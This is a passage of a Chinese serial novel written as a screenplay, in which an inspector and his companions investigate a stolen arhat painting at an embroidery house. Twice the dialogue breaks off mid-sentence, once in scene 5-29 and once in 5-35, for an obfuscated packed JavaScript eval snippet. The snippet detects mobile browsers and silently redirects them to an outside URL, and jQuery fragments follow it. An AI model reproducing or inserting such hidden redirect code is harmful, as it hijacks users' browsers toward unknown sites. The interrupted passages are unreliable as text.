邱红叶:即使不支开她们也没关系,因为下一次转动的圈数与上一次完全不同。 张正清:这么说,你每次都是在众目睽睽之下、开启的那扇门? 邱红叶:可以这么说。 张正清:既然每次转动的圈数都不一样,你又是如何得知呢? 邱红叶:(面露难色)这个嘛…… 张正清:不方便说是吗?嗯,应该如此!(又换了个话题)邱老板,像你这种身份的人,平日里应该有不少应酬吧?你的酒量如何? 邱红叶:酒量?嘻嘻,大人若有兴致,红叶倒是可以陪您喝上两杯。 张正清:跟你喝酒的话,我还真有些不敢。 邱红叶:哦,为何? 张正清:我怕你一不小心说漏了嘴,把那扇门的秘密告诉我了。 邱红叶:告诉您也无妨,大人您才不会打那些绣品的主意呢! 张正清:哦,何以见得? 邱红叶:大人您若想要那些绣品的话,哪里用得着偷呀,尽管找我拿便是! 她说完便朝他贴了过去,意味深长地望着他,张正清的心中咯噔一下,立马移开目光。 张正清:那个……邱老板!钱大人那边还有点儿事,你先喝着,我去去就来!(起身就溜了) 5-26 辉月阁,前院(日,外) 人物:张正清、洛宁、欧阳兰兰 从茶室里出来后,张正清正打算去找钱知县,却意外地听见不远处传来两个熟悉的声音。 欧阳兰兰:宁姐姐,如果罗汉图一直找不到的话,咱们岂不是要一辈子待在这里了? 洛宁:管吃管住的话,倒也行呀! 欧阳兰兰:那个逆千帆,连皇上都拿他没办法,我就不信你们能把他怎么着了! 洛宁:(如梦初醒)呀,你这句话倒是提醒了我! 欧阳兰兰:什么呀? 洛宁:这个逆千帆,咱们还真不能抓了! 欧阳兰兰:哦,为何?你们来这里,不就是为了抓他吗? 洛宁:你想想,如果咱们把他抓住了,岂不是显得比皇上更有本事,你觉得皇上会答应吗? 欧阳兰兰:呀,也是啊!那怎么办呀? 洛宁:还能怎么办?当然是睁一只眼闭一只眼,让逆千帆带着罗汉图远走高飞了! 张正清一听,差点儿没气晕过去,想上前教训她几句,又强忍住了。 张正清(内心独白):连我都敢糊弄?小屁孩,你给我等着!哼! 45. 第五篇 丢失的罗汉图 梁州,春晖城 5-27 辉月阁,花园(日,外) 人物:洛宁、欧阳兰兰 张正清假装什么都没发生,一门心思扑在案子上,对洛宁去了哪里、干了些什么,不闻也不问。见他如此,洛宁也乐得逍遥,跟欧阳兰兰在辉月阁里撒起欢来。 洛宁:兰兰!昨天咱们来了一个“辉月阁一日游”,今天咱们再来一个“辉月阁一日购”,怎么样? 欧阳兰兰:一日购?购什么? 洛宁:这里是绣坊,当然是绣品了。 欧阳兰兰:(不屑地)绣品?得了吧!我欧阳兰兰自从五年前结识了辉月阁之后,从来不曾在拍卖会以外的地方买过绣品。 洛宁:辉月阁的绣品又不是只在拍卖会上出售,昨天我们路过展厅,那里不也有很多绣品吗? 欧阳兰兰:那些绣品哪能跟拍卖会上的绣品比呀? 洛宁:可我看那里的绣品也十分精美呀! 欧阳兰兰:那是因为你没见识过拍卖会上的东西。 洛宁:有何区别? 欧阳兰兰:最明显的区别,就是一个只卖十两银子,而另一个出一百两银子、也未必买得到。 洛宁:噢,弄了半天你是嫌它的价钱太便宜了呀?这个好办,我能帮你解决! 欧阳兰兰:怎么解决? 洛宁:我去把那些绣品买下来,然后再以十倍的价钱卖给你。怎么样? 欧阳兰兰:(翻了个白眼)我虽然钱多,可我并不傻,你想坑我?没门儿! 洛宁:你以为拍卖会上的东西就不坑你呀?贤晴姑娘的一幅绣品,在拍卖会上能卖到五百两银子,可她自己却连给妹妹治病的钱都拿不出。这是为何?不就是因为钱都被辉月阁赚走了吗?价钱无论多少,都是辉月阁定的,她们见你想买,所以故意把价钱抬得高高的,其实那些东西若放在展厅里,也不过十两银子罢了! 欧阳兰兰:咦,好像是啊!既然这样,咱们就去瞧瞧吧! 5-28 辉月阁,展厅(日,内) 人物:欧阳兰兰、洛宁、店员、美兰 展厅的绣品,欧阳兰兰见一个爱一个,不一会儿工夫,就买了一大堆。 欧阳兰兰:宁姐姐,你劝我来这里买东西,你自己却一文钱都舍不得花,太抠了吧? 洛宁:我又没说不买。(指着其中一副绣品)你瞧!上面的这只小猫,跟糯米球儿像不像? 欧阳兰兰:如果它的毛色没有黄色和黑色、只有白色的话,还真是一模一样呢! 洛宁:可不是嘛!甜妞儿在北疆的时候,全靠糯米球儿陪着她打发时间,糯米球儿对她来说,不仅仅是一只猫,更像是一个亲人。如果这只猫是白色的话,我就把它买回去送给甜妞儿,她肯定会很高兴! 欧阳兰兰:虽然这只猫不是白色的,可它看上去也十分可爱。(指着不远处的两幅绣品)你瞧那个、还有那个,也都是猫! 洛宁:(走过去一瞧)是啊!而且都跟那只一样,是黄色、黑色和白色相间的,该不会是同一只猫吧? 店员:这位姑娘,您说对了!这三幅绣品绣的都是同一只猫。 洛宁:绣娘呢?也是同一个人吗? 店员:正是。她叫美兰,展厅里所有跟猫有关的绣品,都是出自她一人之手。 洛宁:这么爱绣猫,那她一定很喜欢猫了? 店员:我们都叫她“猫奴”。 洛宁:她养了多少只猫?(指着绣品上的那只三花猫)这只在不在?能让我瞧瞧吗? 欧阳兰兰:宁姐姐,你可真是个外行!要知道,绣坊里是禁止养猫的。 洛宁:禁止养猫?为何? 店员:一者怕绣娘们被猫抓伤了手,二者怕绣品被猫抓坏了。 洛宁:原来是这样。可不养猫的话,又如何能绣出如此活灵活现的小猫呢? 欧阳兰兰:照你这么说,画家在画老虎之前,是不是也得先养一只呀? 洛宁:至少要近距离观察一下吧! 欧阳兰兰:大街上有的是流浪猫,想观察还不容易吗? 洛宁:嗯,也是啊!(瞅着绣品)唉,如果这只猫是白色的,该多好呀! 欧阳兰兰:(问店员)你们这里的绣品不是还可以定制吗?能不能让那个绣娘给她绣一只白猫呀? 店员:(面露难色)这…… 欧阳兰兰:怎么?不行呀? 店员:若是别的绣娘,倒还好说,但这个美兰…… 欧阳兰兰:不就是多出点儿钱嘛! 店员:不是钱的问题,而是她未必肯绣。 洛宁:哦,为何?她很忙吗? 店员:倒是不忙,就是脾气有点儿臭。 欧阳兰兰:你把她叫过来,我倒要看看她是何方神圣。 店员:这…… 欧阳兰兰:快去呀!你们辉月阁不是宾客至上吗?总不能连这点儿小小的要求,都不能满足吧? 店员:那行!我去把她叫过来,不过她若是不肯绣的话,你们可别生气哟! 店员说完便出去,过了一会儿,领来一个十八九岁的女子,她阴沉着脸,一副很不高兴的样子。 美兰:不是跟你说了我很忙吗?有事快说,没事我先走了! 店员:(指着洛宁和欧阳兰兰对她)美兰,这二位姑娘想请你帮个忙…… 美兰:我不接私活儿! 欧阳兰兰:接私活儿也不能在这里公开谈呀!我们找你来,不过是想定制一幅绣品罢了。 美兰:你们想要什么? 洛宁:(指着三花猫的绣品)我想绣一只猫,不过毛色要纯白的…… 美兰:(冷冷地)我不绣猫,你去找别人吧! 欧阳兰兰:你不绣猫,那这几只猫又是谁绣的? 美兰:那是我以前绣的,不过现在我不想绣了。 欧阳兰兰:这位姑娘,你是这里的绣娘、还是这里的老板呀?怎么说话的口气这么大呀? 美兰:我这个人说话向来就是这样,是你们找我过来的、又不是我自己要来的。 欧阳兰兰:(冷笑一声)没错!是我们找你过来的,谁让你是这里的绣娘呢?你若是这里的老板,谁敢使唤你呀? 洛宁:(劝和)欧阳兰兰,算了吧!这只猫我不绣了! 欧阳兰兰:猫可以不锈,但话必须说清楚! 美兰:既然你们不打算绣了,那我先走了!(转身要走,被欧阳兰兰叫住) 欧阳兰兰:给我站住! 店员:(急忙打圆场)欧阳小姐,不好意思!她就是这副脾气,您若是想绣猫的话,我再另外给您找一个绣娘过来…… 美兰:(埋怨店员)我就说不来吧,你非要把我叫过来,真是没事找事!哼!(说完头也不回地走了) 欧阳兰兰:你给我站住!站住!(气急败坏地对店员)你们辉月阁里怎么会有这样的绣娘?她以为自己是谁呀?该不会连你们邱老板也要让她三分吧? 店员:她最近心情不太好,见到谁都是这副样子,您别跟她一般见识。 欧阳兰兰:她在邱老板面前,也是这副样子吗?呵呵,你们邱老板可真是大人有大量!就她这副德性,若搁在咱们欧阳世家,早就不知道挨了多少顿打了!哼! 店员:是啊是啊!我们老板也是这么想的!(赔笑脸)欧阳小姐,您别生气了啊! 5-29 辉月阁,花园(日,外) 人物:洛宁、欧阳兰兰、翡翠、张正清 下午,翡翠来了,一见到他,洛宁和欧阳兰兰都很高兴。 翡翠:贤晴姑娘的事,已经安排好了,你俩别担心了。 洛宁:钱的事,怎么说? 翡翠:易大师说,他来解决。 洛宁:怎么解决? 翡翠:(模仿路易的口吻)可以去找钱庄借钱嘛! 洛宁:那你可一定要告诉他,让他去我哥开的那家钱庄里借钱! 欧阳兰兰:拿什么作抵? 洛宁:他在医馆里干活儿,医馆给他发薪水,他可以一笔一笔慢慢还嘛! 欧阳兰兰:也是啊!那家钱庄,咱们欧阳世家也有份儿,就算是利息,也不能让别人赚走了! 洛宁:没错!这叫肥水不流外人田,哼哼! 翡翠:(白了她俩一眼)唉,你俩可真会算呀! 洛宁:(问翡翠)酒庄怎么样了?材料都备齐了吗? 翡翠:快了!等我们从这里回去之后,应该就可以开工了! 正说着,张正清来了,三人急忙敛起笑容,张正清却像是没看见他们,径直走了过去。 欧阳兰兰:咦?他怎么没看见咱们? 洛宁:是啊,不应该呀! 欧阳兰兰:该不会他的眼睛有什么问题吧? 洛宁:不可能!他那双眼睛,就跟鹰一样,此时此刻,哪怕我身在凤凰城,他也能知道我在干什么。 欧阳兰兰:这么说,咱们在辉月阁里一日游和一日购的事,他全都知道了? 洛宁:呀,完了!这下死定了! 翡翠:要我说,干脆别干了!不过是一份薪水而已,你又不差这点儿钱! 洛宁:(白了他一眼)姑娘我现在身无分文,你想让我去喝西北风吗? 翡翠;当酒庄的女主人如何? 洛宁:什么意思? 翡翠:你不是心疼你那三千两银子吗?酒庄算你一半,这样不就可以降低成本了吗? 洛宁:(眯起眼)你是不是不想还钱了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007392|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翡翠:(白了她一眼)你眼里除了钱之外,还有别的吗? 洛宁:有啊! 翡翠:是什么? 洛宁:你先把钱还了,我再告诉你。 欧阳兰兰:宁姐姐!要我说,人家翡翠这么说,也是为了你好。你想想,一旦离开了督察府,不就再也不用看张督察的脸色了吗? 洛宁:你以为去酒庄就不用看脸色了呀?(指着翡翠)他的这张脸,比张大哥的更难看! 翡翠:(顿时恼了)哼!果然还是督察府的事更重要!(气冲冲地走了) 洛宁:瞧见没?一言不合,立马就甩脸子,跟张大哥简直是一模一样! 就在此时,张正清又来了,洛宁背对着他没看见,欧阳兰兰虽然看见了,却吓得不敢吱声。 洛宁:(大倒苦水)你说这些男人在我面前,怎么都跟主子似的?一个比一个难伺候!你冲着他笑吧,他说你虚伪;你冲着他哭吧,他说你矫情;你对他好吧,他说你有求于他;你对他不好吧,他说你没把他放在眼里。总之就是只有你想不出来的招儿、没有他挑不出来的刺儿!他若做错了什么事,打死都不肯承认,(双手叉腰,模仿张正清的口吻)“我是这里的老大,怎么可能会犯错呢?”但我若做错了什么事,(手指着欧阳兰兰,模仿张正清的口吻)“我平常是怎么教你的?你的脑子里是不是一团浆糊呀?这么简单的事都弄不明白,居然还有脸活着?”唉!我就纳闷了,天底下怎么会有这样的男人呀?女娲娘娘当初造他们的时候,是不是用的□□啊? 欧阳兰兰:(结结巴巴地)张……张督察! 洛宁:(回头一看)呀!张张张……张大哥!你你你……你怎么又……又来了? 张正清:(两眼一瞪)不行呀? 洛宁:行……行呀!你是老大,你想怎么样都行!(悄悄问欧阳兰兰)他什么时候来的呀? 欧阳兰兰:就在你刚才说他坏话的时候。 洛宁:你怎么不告诉我一声呀? 欧阳兰兰:我不敢啊!你没看见他的眼神,恨不得一口吞了我!(对着张正清)那个……张督察,我……我还有点儿事,你俩慢慢聊,我先走了啊!(一溜烟儿跑了) 洛宁:(堆起笑脸)张……张大哥!我……我没说你、说别人呢! 张正清:没关系,你接着说,我洗耳恭听!把你藏在心里的那些话全都说出来,千万别憋着,多难受啊!对不对? 洛宁:没有啦!张大哥,我们在说笑话儿呢! 张正清:(恶狠狠地瞪了她一眼)说笑话儿?哼! 洛宁:(立马认怂)张大哥,我错了!你别生气了好不好?我向你道歉!你大人不记小人过,原谅我吧!…… 洛宁说尽了好话,可张正清就是板着一张脸,不肯原谅她,最后,洛宁只好使出杀手锏,眼圈一红,眼泪刷刷地掉下来。张正清一见,心顿时软了。 张正清:你呀你,刚才还把我骂得狗血淋头,怎么一转眼又开始装可怜了?你怎么这么会演戏呀?你上辈子是不是条变色龙啊? 洛宁:张大哥,我错了!你别生气了! 张正清:你当着欧阳兰兰的面把我骂成那样,我能不生气吗?若换成你,你受得了吗?噢,原来这么多年来,我在你眼里,一直都是一个十恶不赦的大坏蛋呀? 洛宁:(头摇得像拨浪鼓)不不不!张大哥,你是好人,你是天底下最好的好人! 张正清:不对吧?我不是女娲娘娘用□□造的吗?照你这么说,那个冷大夫应该是用白凉粉造的了? 洛宁:咦,还真有点儿像呢! 张正清:(吼)小屁孩,你给我正经点儿! 洛宁:张大哥,别动不动就发火,会变丑! 张正清:嫌我丑是吗?你不就是想说人家冷大夫长得帅吗? 洛宁:冷大夫确实长得帅,凤凰城里人人都这么说! 张正清:我说过吗? 洛宁:你刚才不是说了吗? 张正清:(吼)小屁孩,你是不是想气死我呀? 洛宁:不是啊,张大哥!我是心疼你呀!你每天这么辛苦,忙里又忙外,我是看在眼里急在心里。要不这样吧,你先坐下来歇会儿,我去给你泡一杯枸杞水补充□□力。(转身要走,被张正清一把揪住) 张正清:茶屋在那边,你往哪儿走呀?是不是想开溜? 洛宁:这里又不是我家,人家邱老板又没请我喝过茶,我哪知道茶屋在哪个方向呀? 张正清:(眯起眼)小鬼,你什么意思? 洛宁:嘻嘻!张大哥,邱老板请你喝的什么茶呀?味道怎样?是不是回味无穷呀? 张正清:(咬牙切齿地)小屁孩,你果然很欠揍呀!(见她拔腿就跑)站住!给我站住! 46. 第五篇 丢失的罗汉图 梁州,春晖城 5-30 辉月阁,密室(日,外) 人物:洛宁、翡翠、欧阳兰兰 洛宁坐在密室的门外,面前的桌子上摆着一沓厚厚的案卷。欧阳兰兰和翡翠过来找她。 欧阳兰兰:宁姐姐,你怎么坐在这里呀? 洛宁:张大哥说了,在罗汉图尚未找到之前,让我坐在这里办公。 翡翠:他怎么没给你拴上一条链子呢? 欧阳兰兰:(扑哧一笑)唉,人在屋檐下不得不低头。宁姐姐,你这份督察府的薪水,领得可真不容易呀! 洛宁:都来看我笑话是吧?赶紧走人,别妨碍我做事!哼! 欧阳兰兰:放心吧,我俩这就走! 洛宁:喂喂喂,你俩去哪儿呀? 欧阳兰兰:翡翠听贤晴姑娘说,城里有一家店铺,出售的绣品非常精美,一点儿也不输给辉月阁里的东西。我打算去瞧瞧! 洛宁:张大哥同意你们出去吗? 欧阳兰兰:我们又不是督察府的人,他为何不同意呀? 洛宁:你们还要录口供呢! 欧阳兰兰:着什么急呀?等我们从城里回来之后再录也不迟呀!他若是怕我跑了,可以去欧阳世家找我嘛! 欧阳兰兰说完,便跟翡翠一起走了,洛宁又接着看笔录。过了一会儿,她有些困了,便伸了个懒腰,往椅背上一靠,打起盹儿来。也不知过了多久,一只鸟儿落在窗子上,扑棱了一下翅膀,她猛地惊醒过来,回头往窗子那边一瞧,却意外地发现对面的屋顶上,竟有一间小小的阁楼。 洛宁:(眯起眼)咦,那里是…… 她瞅了瞅阁楼,又瞅了瞅身后的那扇门,忽然想到了什么,便起身离开密室,往阁楼的方向去了。 5-31 辉月阁,阁楼(日,内) 人物:洛宁 阁楼的门上挂着一把旧锁,洛宁拔下头上的簪子,往锁孔里轻轻一戳,锁便开了。她推门走了进去,里面堆满了杂物,蛛网遍结,显然少有人来。她四处查看了一番,没发现什么蹊跷,又推开窗子往对面一瞧,密室的那扇门清楚地映入了眼帘。 洛宁(内心独白):原来在这里也能看见那扇门…… 她向四周眺望了一下,方才收回目光,又无意中发现窗栏下面,有一些灰色的线条。 洛宁:(蹲下身仔细端详)咦,这是什么? 线条有长有短、有粗有细,从左往右、密密麻麻地排列着,就像原始人在岩洞里留下的壁画一样。 洛宁(内心独白):难道说这是…… 对面的楼上忽然传来一声吼。 张正清(画外音):小鬼!人呢? 洛宁心中一惊,立马冲出阁楼,往密室的方向飞奔而去。 5-32 辉月阁,密室(日,外) 人物:张正清、洛宁 见洛宁匆匆进来,张正清阴沉着脸。 张正清:只一会儿没盯着你,你就不见了,上哪去了? 洛宁:我……我尿急,上茅房去了。 张正清:真的吗? 洛宁:你若不信的话,下次你跟我一起去。 张正清:(白了她一眼)口供都看完了吗?有没有什么问题? 洛宁:这么厚的一沓,还要一字一句认认真真地看,哪有那么快呀! 张正清:(眯起眼)小鬼,你是不是在故意拖延时间呀? 洛宁:拖延时间?为何? 张正清:为了让逆千帆带着罗汉图远走高飞呀! 洛宁:(吓了一跳)呀,你连这个都知道?不用说,肯定是欧阳兰兰把我给卖了!哼!我找她去!(说完又要往外走,却又被他揪住) 张正清:又想溜?你这个家伙的脚底下是不是抹了油?辉月阁一日游是吗?辉月阁一日购是吗?花样可真多!你来这里干嘛?度假吗? 洛宁:张大哥,你不能不识好人心呀!我可是在为你着想,那个逆千帆,真的不能抓! 张正清:我要的是罗汉图! 洛宁:哦,这个呀!那没问题,我帮你找! 张正清:这么说,你也认为罗汉图不是逆千帆偷的了?有何证据? 洛宁:什么叫我也认为?难不成你也这么想? 张正清:(两眼一瞪)是我在问你,不是你在问我! 洛宁:张大哥,我发现你自从来到辉月阁之后,脾气变得越来越暴躁了。怎么回事呀?是不是没睡好?呀!张大哥,你的眼睛里全是红血丝,看上去好可怕!要不你先回去睡会儿?千万别累坏了! 张正清:你要是真心疼我的话,就赶紧把罗汉图找回来! 洛宁:我这不正在找嘛!(推着他往外走)你先回去歇会儿,有什么线索我立马告诉你。 张正清:唉,不用了!我就在这里躺会儿吧! 他走到窗边,在一条长凳上躺下,疲惫地闭上眼睛。洛宁也回到座位上,接着看笔录。过了一会儿,他像是睡着了,轻轻地打起了鼾。洛宁见状,起身蹑手蹑脚地往外走去,想再去阁楼上看看那些线条。刚走到门口,又听他说。 张正清:若敢再往前迈出一步,这个月的薪水全扣光! 洛宁倒吸一口凉气,乖乖地回到座位上,再不敢乱动了。 5-33 辉月阁,密室(日,外) 人物:洛宁、欧阳兰兰、翡翠 下午,欧阳兰兰和翡翠从外面回来了。 洛宁:怎么样?你们去看过了吗?那家店的绣品是不是真的很好? 欧阳兰兰:唉,别提了!我们在小巷子里兜了不知道多少圈、找了足足一个时辰,方才找到那家店,结果发现门关着,怎么敲都不应声,问了周围的邻居,说是白天从来不开门,晚上才做生意。 洛宁:晚上才做生意?这是什么店呀? 翡翠:你别想歪了,就是一家卖绣品的店。 洛宁:那为何白天不开门?难不成有什么见不得光的地方? 翡翠:想知道的话,晚上再去一趟不就行了。 洛宁:好啊! 欧阳兰兰:(没好气地)宁姐姐,你在答应之前,能不能先用脑子想一想啊?如果那家店真的有什么问题,咱们去了,岂不是没事找事? 洛宁:你说对了,姑娘我就爱没事找事!你去不去呀? 欧阳兰兰:(犹豫着)我…… 翡翠:害怕的话,也可以不去。 欧阳兰兰:(硬着头皮答应)不就是一家店吗?有什么好怕的?去就去!哼! 5-34 辉月阁,前院(夜,外) 人物:张正清、洛宁、翡翠、欧阳兰兰、邱红叶 天黑时,一行人正打算离开辉月阁,却见邱红叶来了。 邱红叶:(笑盈盈)张大人! 张正清:(爱答不理)哦,是邱老板呀?还有什么事吗? 邱红叶:呵呵,张大人,是这样的,红叶备了一桌薄酒,想请张大人吃顿便饭。 张正清:案子还没办完,这个时候接受吃请,怕是不太合适。 邱红叶:一顿便饭而已,算不了什么。更何况,上次在富贵大酒楼,您可是答应过红叶,不能食言哟! 洛宁:(吃惊)啊!张大哥,你又去富贵大酒楼了?什么时候?吃独食可不是什么光彩的事儿! 张正清:那天于烈不是来了吗?我请他吃了顿饭,别的地方我怕他瞧不上,所以才去了富贵大酒楼。 洛宁:你平常请我们吃路边摊的时候,怎么没问问我们瞧得上吗?更何况,我还请你吃了顿鲍鱼呢,你是不是也该回请我一顿呀? 张正清:得得得!今儿咱们一块儿去,好不好?(招呼欧阳兰兰和翡翠)欧阳兰兰,你俩也来吧! 欧阳兰兰:好啊! 洛宁和欧阳兰兰这就要跟过去,却听翡翠淡淡地说了句。 翡翠:人家邱老板只准备了两双筷子两只碗,你俩去干什么?用手抓着吃吗? 洛宁微微一怔,见邱红叶正笑眯眯地瞅着自己,顿时明白了过来。 洛宁:噢,张大哥,我突然不想吃鲍鱼了!回请的事,还是改日再说吧!(冲着欧阳兰兰挤挤眼)欧阳兰兰,天这么冷,咱们去吃烧烤吧! 欧阳兰兰:哦,好啊!以往你们每次撸串都没叫上我,这回我可不能再错过了! 翡翠:那就走吧!(三个人一起离开) 张正清:这几个家伙,怎么说走就走了? 邱红叶:(上前轻轻挽住他的手)张大人,饭菜要凉了,咱们也走吧! 张正清:(吓了一跳,急忙缩回手)那个……邱老板,只有咱们两个人,是不是太没意思了?要不我把老乔他们也叫过来…… 邱红叶:大人,您不是对红叶的酒量感到好奇吗?不如今晚咱们比一比,看看谁先醉倒了。 张正清:我的酒量不行,喝多了会出丑! 邱红叶:大人!您昨天问我除了管家和绣娘之外,还有谁曾去过那间密室?要不等吃饭的时候,我再慢慢告诉你。 张正清:哦,那行吧!既然邱老板盛情相邀,我就不推辞了! 邱红叶:嘻嘻,快走吧! 5-35 酒楼(夜,内) 人物:洛宁、欧阳兰兰、翡翠 三个人在酒楼里吃饭。 洛宁:翡翠,你怎么知道邱老板只准备了两双筷子两只碗?没准儿她准备了五双筷子五只碗呢! 欧阳兰兰:对呀!难不成你去她屋里看过了? 翡翠:我又没拦着你们,是你们自己要跟过来。 洛宁:噢,弄了半天你也不知道呀?那你还瞎嚷嚷什么呀? 欧阳兰兰:(看着眼前的饭菜,顿时没了胃口)唉,因为你的一句话,咱们错过了一顿鲍鱼呢! 翡翠:其实,张督察和邱老板,一个有才、一个有貌,一个有权、一个有钱,倒是挺般配。 欧阳兰兰:再般配也没用,他不可能娶她! 翡翠:她也没说要嫁给他呀! 洛宁:翡翠,你到底想说些什么? 翡翠:那天我在拍卖会上,见邱老板与几个客户交谈时,眼神颇有些暧昧,举止也十分亲密,而那些客户都是有家室的人。 洛宁:你该不会想说,邱老板对张大哥有什么想法吧? 翡翠:你的张大哥又何尝不是如此?人在他乡,寂寞难耐,有个人帮忙暖暖被窝,也不是什么坏事。 洛宁:难怪这几日我见邱老板对张大哥分外殷勤、张大哥也对她欲拒还迎,这二位该不会想到一块儿去了吧? 欧阳兰兰:嘻嘻,没准儿今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007393|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚他俩就成了呢! 翡翠:成不成,且看你的张大哥今晚回不回来就知道了。 他说这句话时,故意盯着洛宁,想看看她会有什么样的反应,结果发现什么都没有。 欧阳兰兰:他俩若是成了,咱们岂不是当了一回红娘?嘻嘻,其实,关于邱老板的风流韵事,我也早就有所耳闻…… 洛宁:天哪!欧阳兰兰,你怎么什么都知道呀! 欧阳兰兰:唉,没办法,谁让我的朋友多呢! 洛宁:快说来听听! 欧阳兰兰:嘻嘻,我就知道你对这个感兴趣!听好了,事情是这样的…… 欧阳兰兰吧啦吧啦地讲个不停,洛宁津津有味地听着,两个女孩只顾着八卦,把翡翠晾在了一边,他没好气地白了她们一眼,自个儿先吃了起来。过了一会儿,又听洛宁惊呼。 洛宁:你的意思是,除了邱老板之外,那些绣娘也…… 欧阳兰兰:客户有这方面的需求,你说她能不满足吗?对于那些绣娘来说,这些客户非富即贵,在绣坊里干上一年,还不如干这个一次挣得多呢! 洛宁:噢,弄了半天,辉月阁的绣品就是这样卖出去的呀? 欧阳兰兰:(不以为然地)正所谓“八仙过海、各显神通”,生意场上,不都是这个样儿嘛! 5-36 辉月阁,厢房(夜,内) 人物:张正清、邱红叶 屋里很暖和,才饮下两杯酒,张正清已觉得浑身冒汗,再看邱红叶,她已脱去外衣,露出雪白的香肩,凸凹有致的身材,在薄薄的纱裙下若隐若现。张正清的脸一红,急忙移开目光。见他如此,邱红叶轻轻一笑。 邱红叶:张大人,您怎么不吃菜呀? 张正清:哦,邱老板!你实在是太好客了,准备了这么大一桌丰盛的酒菜,我一个人哪里吃得完呀! 邱红叶:时候尚早,咱们可以慢慢吃嘛!(笑眯眯地端起酒杯)大人,红叶再敬您一杯! 张正清:邱老板,你真是太客气了!(将杯中酒一饮而尽)邱老板,你说除了管家和绣娘之外,还有其他人也去过那间密室,那些人是谁?是不是你们辉月阁的客人? 邱红叶:(指着张正清笑)嘻嘻,那个人不就是大人您嘛! 张正清:(耐着性子)除了我呢,还有谁? 邱红叶:(娇滴滴地)大人,这可是我们辉月阁的秘密,我若说出去了,被他们知道了,以后还怎么做生意呀? 张正清:那你还想不想找回罗汉图呀? 邱红叶:想啊!不过在此之前,大人先陪我喝杯酒嘛! 她又倒了杯酒,递给张正清,张正清接过来一饮而尽。 张正清:酒我可以陪你喝,但罗汉图也必须尽快找回来。 邱红叶:张大人果然善解人意!那咱们就一边喝酒、一边寻找罗汉图吧! 她接连倒了几杯酒,张正清也不推辞,全都喝了下去。邱红叶也跟着连饮了几杯,脸上泛起了红晕。 张正清:邱老板!我怀疑罗汉图并非是逆千帆所偷,你身边的管家、绣娘和那些宾客,作案的嫌疑更大。你对他们十分了解,你觉得在这些人里面,谁最有可能? 邱红叶:张大人,您怎么只顾着谈公事呀?您瞧瞧我,脸都红了,这个时候您问我案子的事,就不怕我说错了吗? 张正清:邱老板的酒量应该不止如此吧? 邱红叶:嘻嘻!原本还能再多喝两杯,只不过这屋里太热了,我的心里躁得慌。张大人,您呢?热不热呀? 她脱下薄纱,用纤长的手臂勾住张正清的脖子,将自己的胸脯贴在他的怀里。 张正清:(不动声色地推开她)邱老板,你喝醉了! 邱红叶:大人,红叶的头有点儿晕,您能送我回房吗? 张正清:我去把管家叫过来。 邱红叶:您刚才不还怀疑她偷了罗汉图吗?还是您送我回去吧,顺道我还可以跟您讲一讲她们的事呢! 张正清:唉,那行吧,我送你回去。 5-37 辉月阁,邱红叶的屋子(夜,内) 人物:张正清、邱红叶 邱红叶的卧房很大也很暖和,空气中弥漫着浓郁的花香。 张正清扶着她上了床,她却不肯松开勾住他的手。 邱红叶:大人,被窝里好冷呀! 张正清:我让管家给你拿几个暖炉来。 邱红叶:嘻嘻!大人,您的身上这么烫,不如您抱住我,一会儿就暖和了。 她说着将张正清搂得更紧,张正清心想再待下去,怕是会惹来闲话,便对她说。 张正清:邱老板,我看你醉得不轻,案子的事咱们还是明天再谈吧。 邱红叶:大人,您的心里怎么只有案子呀?(指着他笑)大人,您瞧瞧您,脸这么红,是不是也醉了?不如让红叶来帮您醒醒酒吧…… 她伸手去解他的领扣,却被他一下甩开。 张正清:(正色)邱老板,时候不早了,我该回去了!(转身头也不回地走了) 邱红叶:(望着他的背影,悻悻地)唉,这个张正清,怎么一点儿也不解风情呀?不过没关系,只要罗汉图尚未找到,你就不得不再来辉月阁。天底下的男人,有谁能拒绝得了我?时间久了,不怕你不动心!嘻嘻! 47. 第五篇 丢失的罗汉图 梁州,春晖城 5-38 绣品店(夜,外) 人物:洛宁、翡翠、欧阳兰兰 三个人来到那家绣品店时,里面亮着微弱的灯。 欧阳兰兰:里面好像有人。 洛宁:进去看看吧! 欧阳兰兰拔下头上的簪子,攥在手里。 洛宁:欧阳兰兰,你这是干什么呀? 欧阳兰兰:我拿这个防身。 洛宁:本来没什么事,人家一见你手里拿着这个,以为你要行凶,如果打起来了,怎么办? 欧阳兰兰:那也不能空着手进去呀!如果她手里拿着刀,怎么办? 洛宁:她用刀你用簪子,你觉得谁的胜算更大? 欧阳兰兰:唉,早知道来这里之前,我也应该带上一把刀。 洛宁:你是来这里买东西,不是跟人家拼命,与其拿着簪子,还不如多准备几张银票呢。 欧阳兰兰:银票我也带了。 洛宁:有钱能使鬼推磨,这个肯定比簪子好使。 5-39 绣品店(夜,内) 人物:洛宁、翡翠、欧阳兰兰、朵馨 三个人走进绣品店。里面的灯光很暗,墙上和地上摆满了各类绣品,就是不见老板的影子。 欧阳兰兰:怎么没人呀? 洛宁:或许有事出去了。 欧阳兰兰:也不怕东西丢了吗? 翡翠:这个地方很偏僻,晚上少有人来。如果不是贤晴姑娘告诉我,我们也不会来这里。 墙角,一团黑影动了下,发出嘎吱一声响。 洛宁:什么东西? 黑影缓缓站起,模样竟像个人。翡翠上前一步,将洛宁护在身后。 翡翠:(眯起眼打量)这是…… 